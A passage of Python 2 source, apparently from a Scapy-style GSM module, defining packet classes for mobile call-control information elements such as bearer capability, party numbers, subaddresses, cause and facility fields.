ByteField("txtString16", None), ByteField("txtString17", None), ByteField("txtString18", None), ByteField("txtString19", None), ByteField("txtString20", None), ByteField("txtString21", None), ByteField("txtString22", None), ByteField("txtString23", None), ByteField("txtString24", None), ByteField("txtString25", None), ByteField("txtString26", None), ByteField("txtString27", None), ByteField("txtString28", None), ByteField("txtString29", None), ByteField("txtString30", None), ByteField("txtString31", None), ByteField("txtString32", None), ByteField("txtString33", None), ByteField("txtString34", None), ByteField("txtString35", None), ByteField("txtString36", None), ByteField("txtString37", None), ByteField("txtString38", None), ByteField("txtString39", None), ByteField("txtString40", None), ByteField("txtString41", None), ByteField("txtString42", None), ByteField("txtString43", None), ByteField("txtString44", None), ByteField("txtString45", None), ByteField("txtString46", None), ByteField("txtString47", None), ByteField("txtString48", None), ByteField("txtString49", None), ByteField("txtString50", None), ByteField("txtString51", None), ByteField("txtString52", None), ByteField("txtString53", None), ByteField("txtString54", None), ByteField("txtString55", None), ByteField("txtString56", None), ByteField("txtString57", None), ByteField("txtString58", None), ByteField("txtString59", None), ByteField("txtString60", None), ByteField("txtString61", None), ByteField("txtString62", None), ByteField("txtString63", None), ByteField("txtString64", None), ByteField("txtString65", None), ByteField("txtString66", None), ByteField("txtString67", None), ByteField("txtString68", None), ByteField("txtString69", None), ByteField("txtString70", None), ByteField("txtString71", None), ByteField("txtString72", None), ByteField("txtString73", None), ByteField("txtString74", None), ByteField("txtString75", None), ByteField("txtString76", None), ByteField("txtString77", None), ByteField("txtString78", None), ByteField("txtString79", None), ByteField("txtString80", None), ByteField("txtString81", None), ByteField("txtString82", None), ByteField("txtString83", None), ByteField("txtString84", None), ByteField("txtString85", None), ByteField("txtString86", None), ByteField("txtString87", None), ByteField("txtString88", None), ByteField("txtString89", None), ByteField("txtString90", None), ByteField("txtString91", None), ByteField("txtString92", None), ByteField("txtString93", None), ByteField("txtString94", None), ByteField("txtString95", None), ByteField("txtString96", None), ByteField("txtString97", None), ByteField("txtString98", None), ByteField("txtString99", None), ByteField("txtString100", None), ByteField("txtString101", None), ByteField("txtString102", None), ByteField("txtString103", None), ByteField("txtString104", None), ByteField("txtString105", None), ByteField("txtString106", None), ByteField("txtString107", None), ByteField("txtString108", None), ByteField("txtString109", None), ByteField("txtString110", None), ByteField("txtString111", None), ByteField("txtString112", None), ByteField("txtString113", None), ByteField("txtString114", None), ByteField("txtString115", None), ByteField("txtString116", None), ByteField("txtString117", None), ByteField("txtString118", None), ByteField("txtString119", None), ByteField("txtString120", None), ByteField("txtString121", None), ByteField("txtString122", None), ByteField("txtString123", None), ByteField("txtString124", None), ByteField("txtString125", None), ByteField("txtString126", None), ByteField("txtString127", None), ByteField("txtString128", None), ByteField("txtString129", None), ByteField("txtString130", None), ByteField("txtString131", None), ByteField("txtString132", None), ByteField("txtString133", None), ByteField("txtString134", None), ByteField("txtString135", None), ByteField("txtString136", None), ByteField("txtString137", None), ByteField("txtString138", None), ByteField("txtString139", None), ByteField("txtString140", None), ByteField("txtString141", None), ByteField("txtString142", None), ByteField("txtString143", None), ByteField("txtString144", None), ByteField("txtString145", None), ByteField("txtString146", None), ByteField("txtString147", None), ByteField("txtString148", None), ByteField("txtString149", None), ByteField("txtString150", None), ByteField("txtString151", None), ByteField("txtString152", None), ByteField("txtString153", None), ByteField("txtString154", None), ByteField("txtString155", None), ByteField("txtString156", None), ByteField("txtString157", None), ByteField("txtString158", None), ByteField("txtString159", None), ByteField("txtString160", None), ByteField("txtString161", None), ByteField("txtString162", None), ByteField("txtString163", None), ByteField("txtString164", None), ByteField("txtString165", None), ByteField("txtString166", None), ByteField("txtString167", None), ByteField("txtString168", None), ByteField("txtString169", None), ByteField("txtString170", None), ByteField("txtString171", None), ByteField("txtString172", None), ByteField("txtString173", None), ByteField("txtString174", None), ByteField("txtString175", None), ByteField("txtString176", None), ByteField("txtString177", None), ByteField("txtString178", None), ByteField("txtString179", None), ByteField("txtString180", None), ByteField("txtString181", None), ByteField("txtString182", None), ByteField("txtString183", None), ByteField("txtString184", None), ByteField("txtString185", None), ByteField("txtString186", None), ByteField("txtString187", None), ByteField("txtString188", None), ByteField("txtString189", None), ByteField("txtString190", None), ByteField("txtString191", None), ByteField("txtString192", None), ByteField("txtString193", None), ByteField("txtString194", None), ByteField("txtString195", None), ByteField("txtString196", None), ByteField("txtString197", None), ByteField("txtString198", None), ByteField("txtString199", None), ByteField("txtString200", None), ByteField("txtString201", None), ByteField("txtString202", None), ByteField("txtString203", None), ByteField("txtString204", None), ByteField("txtString205", None), ByteField("txtString206", None), ByteField("txtString207", None), ByteField("txtString208", None), ByteField("txtString209", None), ByteField("txtString210", None), ByteField("txtString211", None), ByteField("txtString212", None), ByteField("txtString213", None), ByteField("txtString214", None), ByteField("txtString215", None), ByteField("txtString216", None), ByteField("txtString217", None), ByteField("txtString218", None), ByteField("txtString219", None), ByteField("txtString220", None), ByteField("txtString221", None), ByteField("txtString222", None), ByteField("txtString223", None), ByteField("txtString224", None), ByteField("txtString225", None), ByteField("txtString226", None), ByteField("txtString227", None), ByteField("txtString228", None), ByteField("txtString229", None), ByteField("txtString230", None), ByteField("txtString231", None), ByteField("txtString232", None), ByteField("txtString233", None), ByteField("txtString234", None), ByteField("txtString235", None), ByteField("txtString236", None), ByteField("txtString237", None), ByteField("txtString238", None), ByteField("txtString239", None), ByteField("txtString240", None), ByteField("txtString241", None), ByteField("txtString242", None), ByteField("txtString243", None), ByteField("txtString244", None), ByteField("txtString245", None), ByteField("txtString246", None), ByteField("txtString247", None), ByteField("txtString248", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 251, a, self.fields_desc) if self.lengthNN is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class RejectCause(Packet): """Reject cause Section 10.5.3.6""" name = "Reject Cause" fields_desc = [ ByteField("ieiRC", 0x0), ByteField("rejCause", 0x0) ] class FollowOnProceed(Packet): """Follow-on Proceed Section 10.5.3.7""" name = "Follow-on Proceed" fields_desc = [ ByteField("ieiFOP", 0x0), ] class TimeZoneHdr(Packet): """Time Zone Section 10.5.3.8""" name = "Time Zone" fields_desc = [ BitField("eightBitTZ", None, 1), XBitField("ieiTZ", None, 7), ByteField("timeZone", 0x0), ] class TimeZoneAndTimeHdr(Packet): """Time Zone and Time Section 10.5.3.9""" name = "Time Zone and Time" fields_desc = [ BitField("eightBitTZAT", None, 1), XBitField("ieiTZAT", None, 7), ByteField("year", 0x0), ByteField("month", 0x0), ByteField("day", 0x0), ByteField("hour", 0x0), ByteField("minute", 0x0), ByteField("second", 0x0), ByteField("timeZone", 0x0) ] class CtsPermissionHdr(Packet): """CTS permission Section 10.5.3.10""" name = "Cts Permission" fields_desc = [ BitField("eightBitCP", None, 1), XBitField("ieiCP", None, 7), ] class LsaIdentifierHdr(Packet): """LSA Identifier Section 10.5.3.11""" name = "Lsa Identifier" fields_desc = [ BitField("eightBitLI", None, 1), XBitField("ieiLI", None, 7), ByteField("lsaID", 0x0), ByteField("lsaID1", 0x0), ByteField("lsaID2", 0x0) ] # # 10.5.4 Call control information elements # #10.5.4.1 Extensions of codesets # This is only text and no packet class LockingShiftProcedureHdr(Packet): """Locking shift procedure Section 10.5.4.2""" name = "Locking Shift Procedure" fields_desc = [ XBitField("ieiLSP", None, 4), BitField("lockShift", 0x0, 1), BitField("codesetId", 0x0, 3) ] class NonLockingShiftProcedureHdr(Packet): """Non-locking shift procedure Section 10.5.4.3""" name = "Non-locking Shift Procedure" fields_desc = [ XBitField("ieiNLSP", None, 4), BitField("nonLockShift", 0x1, 1), BitField("codesetId", 0x0, 3) ] class AuxiliaryStatesHdr(Packet): """Auxiliary states Section 10.5.4.4""" name = "Auxiliary States" fields_desc = [ BitField("eightBitAS", None, 1), XBitField("ieiAS", None, 7), XByteField("lengthAS", 0x3), BitField("ext", 0x1, 1), BitField("spare", 0x0, 3), BitField("holdState", 0x0, 2), BitField("mptyState", 0x0, 2) ] # len 3 to 15 class BearerCapabilityHdr(Packet): """Bearer capability Section 10.5.4.5""" name = "Bearer Capability" fields_desc = [ BitField("eightBitBC", None, 1), XBitField("ieiBC", None, 7), XByteField("lengthBC", None), BitField("ext0", 0x1, 1), BitField("radioChReq", 0x1, 2), BitField("codingStd", 0x0, 1), BitField("transMode", 0x0, 1), BitField("infoTransCa", 0x0, 3), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("coding", None, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("spare", None, 2), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("speechVers", 0x0, 4), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("compress", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("structure", None, 2), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("dupMode", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("config", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("nirr", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("establi", 0x0, 1), lambda pkt: pkt.ext1 == 0), BitField("ext3", None, 1), BitField("accessId", None, 2), BitField("rateAda", None, 2), BitField("signaling", None, 3), ConditionalField(BitField("ext4", None, 1), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherITC", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherRate", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("spare1", 0x0, 3), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("ext5", 0x1, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("hdr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("multiFr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("mode", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("lli", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("assig", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("inbNeg", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("spare2", 0x0, 1), lambda pkt: pkt.ext4 == 0), BitField("ext6", None, 1), BitField("layer1Id", None, 2), BitField("userInf", None, 4), BitField("sync", None, 1), ConditionalField(BitField("ext7", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("stopBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("negoc", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("nbDataBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("userRate", None, 4), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("ext8", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("interRate", None, 2), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicTX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicRX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("parity", None, 3), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("ext9", None, 1), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("connEle", None, 2), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("modemType", None, 5), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("ext10", None, 1), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("otherModemType", None, 2), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("netUserRate", None, 5), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("ext11", None, 1), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("chanCoding", None, 4), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("maxTrafficChan", None, 3), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("ext12", None, 1), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("uimi", None, 3), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("airInterfaceUserRate", None, 4), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("ext13", 0x1, 1), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("layer2Ch", None, 2), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("userInfoL2", 0x0, 5), lambda pkt: pkt.ext12 == 0) ] # We have a bug here. packet is not working if used in message def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 15, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] # avoids a bug. find better way if len(p) is 5: p = p[:-2] if self.lengthBC is None: print "len von a %s" % (len(p),) p = p[:1] + struct.pack(">B", len(p)-3) + p[2:] return p + pay class CallControlCapabilitiesHdr(Packet): """Call Control Capabilities Section 10.5.4.5a""" name = "Call Control Capabilities" fields_desc = [ BitField("eightBitCCC", None, 1), XBitField("ieiCCC", None, 7), XByteField("lengthCCC", 0x3), BitField("spare", 0x0, 6), BitField("pcp", 0x0, 1), BitField("dtmf", 0x0, 1) ] class CallStateHdr(Packet): """Call State Section 10.5.4.6""" name = "Call State" fields_desc = [ BitField("eightBitCS", None, 1), XBitField("ieiCS", None, 7), BitField("codingStd", 0x0, 2), BitField("stateValue", 0x0, 6) ] # len 3 to 43 class CalledPartyBcdNumberHdr(Packet): """Called party BCD number Section 10.5.4.7""" name = "Called Party BCD Number" fields_desc = [ BitField("eightBitCPBN", None, 1), XBitField("ieiCPBN", None, 7), XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), BitField("nbDigit32", None, 4), BitField("nbDigit31", None, 4), BitField("nbDigit34", None, 4), BitField("nbDigit33", None, 4), BitField("nbDigit36", None, 4), BitField("nbDigit35", None, 4), BitField("nbDigit38", None, 4), BitField("nbDigit37", None, 4), BitField("nbDigit40", None, 4), BitField("nbDigit39", None, 4), # ^^^^^^ 20 first optional bytes ^^^^^^^^^^^^^^^ BitField("nbDigit42", None, 4), BitField("nbDigit41", None, 4), BitField("nbDigit44", None, 4), BitField("nbDigit43", None, 4), BitField("nbDigit46", None, 4), BitField("nbDigit45", None, 4), BitField("nbDigit48", None, 4), BitField("nbDigit47", None, 4), BitField("nbDigit50", None, 4), BitField("nbDigit49", None, 4), BitField("nbDigit52", None, 4), BitField("nbDigit51", None, 4), BitField("nbDigit54", None, 4), BitField("nbDigit53", None, 4), BitField("nbDigit56", None, 4), BitField("nbDigit55", None, 4), BitField("nbDigit58", None, 4), BitField("nbDigit57", None, 4), BitField("nbDigit60", None, 4), BitField("nbDigit59", None, 4), BitField("nbDigit62", None, 4), BitField("nbDigit61", None, 4), BitField("nbDigit64", None, 4), BitField("nbDigit63", None, 4), BitField("nbDigit66", None, 4), BitField("nbDigit65", None, 4), BitField("nbDigit68", None, 4), BitField("nbDigit67", None, 4), BitField("nbDigit70", None, 4), BitField("nbDigit69", None, 4), BitField("nbDigit72", None, 4), BitField("nbDigit71", None, 4), BitField("nbDigit74", None, 4), BitField("nbDigit73", None, 4), BitField("nbDigit76", None, 4), BitField("nbDigit75", None, 4), BitField("nbDigit78", None, 4), BitField("nbDigit77", None, 4), BitField("nbDigit80", None, 4), BitField("nbDigit79", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 43, a, self.fields_desc, 2) if self.lengthCPBN is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 2 to 23 class CalledPartySubaddressHdr(Packet): """Called party subaddress Section 10.5.4.8""" name = "Called Party Subaddress" fields_desc = [ BitField("eightBitCPS", None, 1), XBitField("ieiCPS", None, 7), XByteField("lengthCPS", None), # optional BitField("ext", None, 1), BitField("subAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 23, a, self.fields_desc) if self.lengthCPS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 3 to 14 class CallingPartyBcdNumberHdr(Packet): """Called party subaddress Section 10.5.4.9""" name = "Called Party Subaddress" fields_desc = [ BitField("eightBitCPBN", None, 1), XBitField("ieiCPBN", None, 7), XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", 0x0, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 14, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] if self.lengthCPBN is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # len 2 to 23 class CallingPartySubaddressHdr(Packet): """Calling party subaddress Section 10.5.4.10""" name = "Calling Party Subaddress" fields_desc = [ BitField("eightBitCPS", None, 1), XBitField("ieiCPS", None, 7), XByteField("lengthCPS", None), # optional BitField("ext1", None, 1), BitField("typeAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 23, a, self.fields_desc) if self.lengthCPS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 4 to 32 class CauseHdr(Packet): """Cause Section 10.5.4.11""" name = "Cause" fields_desc = [ BitField("eightBitC", None, 1), XBitField("ieiC", None, 7), XByteField("lengthC", None), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("recommendation", 0x0, 7), lambda pkt: pkt.ext == 0), # optional BitField("ext2", None, 1), BitField("causeValue", None, 7), ByteField("diagnositc0", None), ByteField("diagnositc1", None), ByteField("diagnositc2", None), ByteField("diagnositc3", None), ByteField("diagnositc4", None), ByteField("diagnositc5", None), ByteField("diagnositc6", None), ByteField("diagnositc7", None), ByteField("diagnositc8", None), ByteField("diagnositc9", None), ByteField("diagnositc10", None), ByteField("diagnositc11", None), ByteField("diagnositc12", None), ByteField("diagnositc13", None), ByteField("diagnositc14", None), ByteField("diagnositc15", None), ByteField("diagnositc16", None), ByteField("diagnositc17", None), ByteField("diagnositc18", None), ByteField("diagnositc19", None), ByteField("diagnositc20", None), ByteField("diagnositc21", None), ByteField("diagnositc22", None), ByteField("diagnositc23", None), ByteField("diagnositc24", None), ByteField("diagnositc25", None), ByteField("diagnositc26", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 32, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] if self.lengthC is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay class ClirSuppressionHdr(Packet): """CLIR suppression Section 10.5.4.11a""" name = "Clir Suppression" fields_desc = [ BitField("eightBitCS", None, 1), XBitField("ieiCS", None, 7), ] class ClirInvocationHdr(Packet): """CLIR invocation Section 10.5.4.11b""" name = "Clir Invocation" fields_desc = [ BitField("eightBitCI", None, 1), XBitField("ieiCI", None, 7), ] class CongestionLevelHdr(Packet): """Congestion level Section 10.5.4.12""" name = "Congestion Level" fields_desc = [ XBitField("ieiCL", None, 4), BitField("notDef", 0x0, 4) ] # Fix 1/2 len problem class CongestionLevelAndSpareHalfOctets(Packet): name = "Congestion Level and Spare Half Octets" fields_desc = [ BitField("ieiCL", 0x0, 4), BitField("spareHalfOctets", 0x0, 4) ] # len 3 to 14 class ConnectedNumberHdr(Packet): """Connected number Section 10.5.4.13""" name = "Connected Number" fields_desc = [ BitField("eightBitCN", None, 1), XBitField("ieiCN", None, 7), XByteField("lengthCN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("typePlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", None, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 14, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] if self.lengthCN is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # len 2 to 23 class ConnectedSubaddressHdr(Packet): """Connected subaddress Section 10.5.4.14""" name = "Connected Subaddress" fields_desc = [ BitField("eightBitCS", None, 1), XBitField("ieiCS", None, 7), XByteField("lengthCS", None), # optional BitField("ext", None, 1), BitField("typeOfSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 23, a, self.fields_desc) if self.lengthCS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 2 to L3 (251) (done) class FacilityHdr(Packet): """Facility Section 10.5.4.15""" name = "Facility" fields_desc = [ BitField("eightBitF", None, 1), XBitField("ieiF", None, 7), XByteField("lengthF", None), # optional ByteField("facilityInfo1", None), ByteField("facilityInfo2", None), ByteField("facilityInfo3", None), ByteField("facilityInfo4", None), ByteField("facilityInfo5", None), ByteField("facilityInfo6", None), ByteField("facilityInfo7", None), ByteField("facilityInfo8", None), ByteField("facilityInfo9", None), ByteField("facilityInfo10", None), ByteField("facilityInfo11", None), ByteField("facilityInfo12", None), ByteField("facilityInfo13", None), ByteField("facilityInfo14", None), ByteField("facilityInfo15", None), ByteField("facilityInfo16", None), ByteField("facilityInfo17", None), ByteField("facilityInfo18", None), ByteField("facilityInfo19", None), ByteField("facilityInfo20", None), ByteField("facilityInfo21", None), ByteField("facilityInfo22", None), ByteField("facilityInfo23", None), ByteField("facilityInfo24", None), ByteField("facilityInfo25", None), ByteField("facilityInfo26", None), ByteField("facilityInfo27", None), ByteField("facilityInfo28", None), ByteField("facilityInfo29", None), ByteField("facilityInfo30", None), ByteField("facilityInfo31", None), ByteField("facilityInfo32", None), ByteField("facilityInfo33", None), ByteField("facilityInfo34", None), ByteField("facilityInfo35", None), ByteField("facilityInfo36", None), ByteField("facilityInfo37", None), ByteField("facilityInfo38", None), ByteField("facilityInfo39", None), ByteField("facilityInfo40", None), ByteField("facilityInfo41", None), ByteField("facilityInfo42", None), ByteField("facilityInfo43", None), ByteField("facilityInfo44", None), ByteField("facilityInfo45", None), ByteField("facilityInfo46", None), ByteField("facilityInfo47", None), ByteField("facilityInfo48", None), ByteField("facilityInfo49", None), ByteField("facilityInfo50", None), ByteField("facilityInfo51", None), ByteField("facilityInfo52", None), ByteField("facilityInfo53", None), ByteField("facilityInfo54", None), ByteField("facilityInfo55", None), ByteField("facilityInfo56", None), ByteField("facilityInfo57", None), ByteField("facilityInfo58", None), ByteField("facilityInfo59", None), ByteField("facilityInfo60", None), ByteField("facilityInfo61", None), ByteField("facilityInfo62", None), ByteField("facilityInfo63", None), ByteField("facilityInfo64", None), ByteField("facilityInfo65", None), ByteField("facilityInfo66", None), ByteField("facilityInfo67", None), ByteField("facilityInfo68", None), ByteField("facilityInfo69", None), ByteField("facilityInfo70", None), ByteField("facilityInfo71", None), ByteField("facilityInfo72", None), ByteField("facilityInfo73", None), ByteField("facilityInfo74", None), ByteField("facilityInfo75", None), ByteField("facilityInfo76", None), ByteField("facilityInfo77", None), ByteField("facilityInfo78", None), ByteField("facilityInfo79", None), ByteField("facilityInfo80", None), ByteField("facilityInfo81", None), ByteField("facilityInfo82", None), ByteField("facilityInfo83", None), ByteField("facilityInfo84", None), ByteField("facilityInfo85", None), ByteField("facilityInfo86", None), ByteField("facilityInfo87", None), ByteField("facilityInfo88", None), ByteField("facilityInfo89", None), ByteField("facilityInfo90", None), ByteField("facilityInfo91", None), ByteField("facilityInfo92", None), ByteField("facilityInfo93", None), ByteField("facilityInfo94", None), ByteField("facilityInfo95", None), ByteField("facilityInfo96", None), ByteField("facilityInfo97", None), ByteField("facilityInfo98", None), ByteField("facilityInfo99", None), ByteField("facilityInfo100", None), ByteField("facilityInfo101", None), ByteField("facilityInfo102", None), ByteField("facilityInfo103", None), ByteField("facilityInfo104", None), ByteField("facilityInfo105", None), ByteField("facilityInfo106", None), ByteField("facilityInfo107", None), ByteField("facilityInfo108", None), ByteField("facilityInfo109", None), ByteField("facilityInfo110", None), ByteField("facilityInfo111", None), ByteField("facilityInfo112", None), ByteField("facilityInfo113", None), ByteField("facilityInfo114", None), ByteField("facilityInfo115", None), ByteField("facilityInfo116", None), ByteField("facilityInfo117", None), ByteField("facilityInfo118", None), ByteField("facilityInfo119", None), ByteField("facilityInfo120", None), ByteField("facilityInfo121", None), ByteField("facilityInfo122", None), ByteField("facilityInfo123", None), ByteField("facilityInfo124", None), ByteField("facilityInfo125", None), ByteField("facilityInfo126", None), ByteField("facilityInfo127", None), ByteField("facilityInfo128", None), ByteField("facilityInfo129", None), ByteField("facilityInfo130", None), ByteField("facilityInfo131", None), ByteField("facilityInfo132", None), ByteField("facilityInfo133", None), ByteField("facilityInfo134", None), ByteField("facilityInfo135", None), ByteField("facilityInfo136", None), ByteField("facilityInfo137", None), ByteField("facilityInfo138", None), ByteField("facilityInfo139", None), ByteField("facilityInfo140", None), ByteField("facilityInfo141", None), ByteField("facilityInfo142", None), ByteField("facilityInfo143", None), ByteField("facilityInfo144", None), ByteField("facilityInfo145", None), ByteField("facilityInfo146", None), 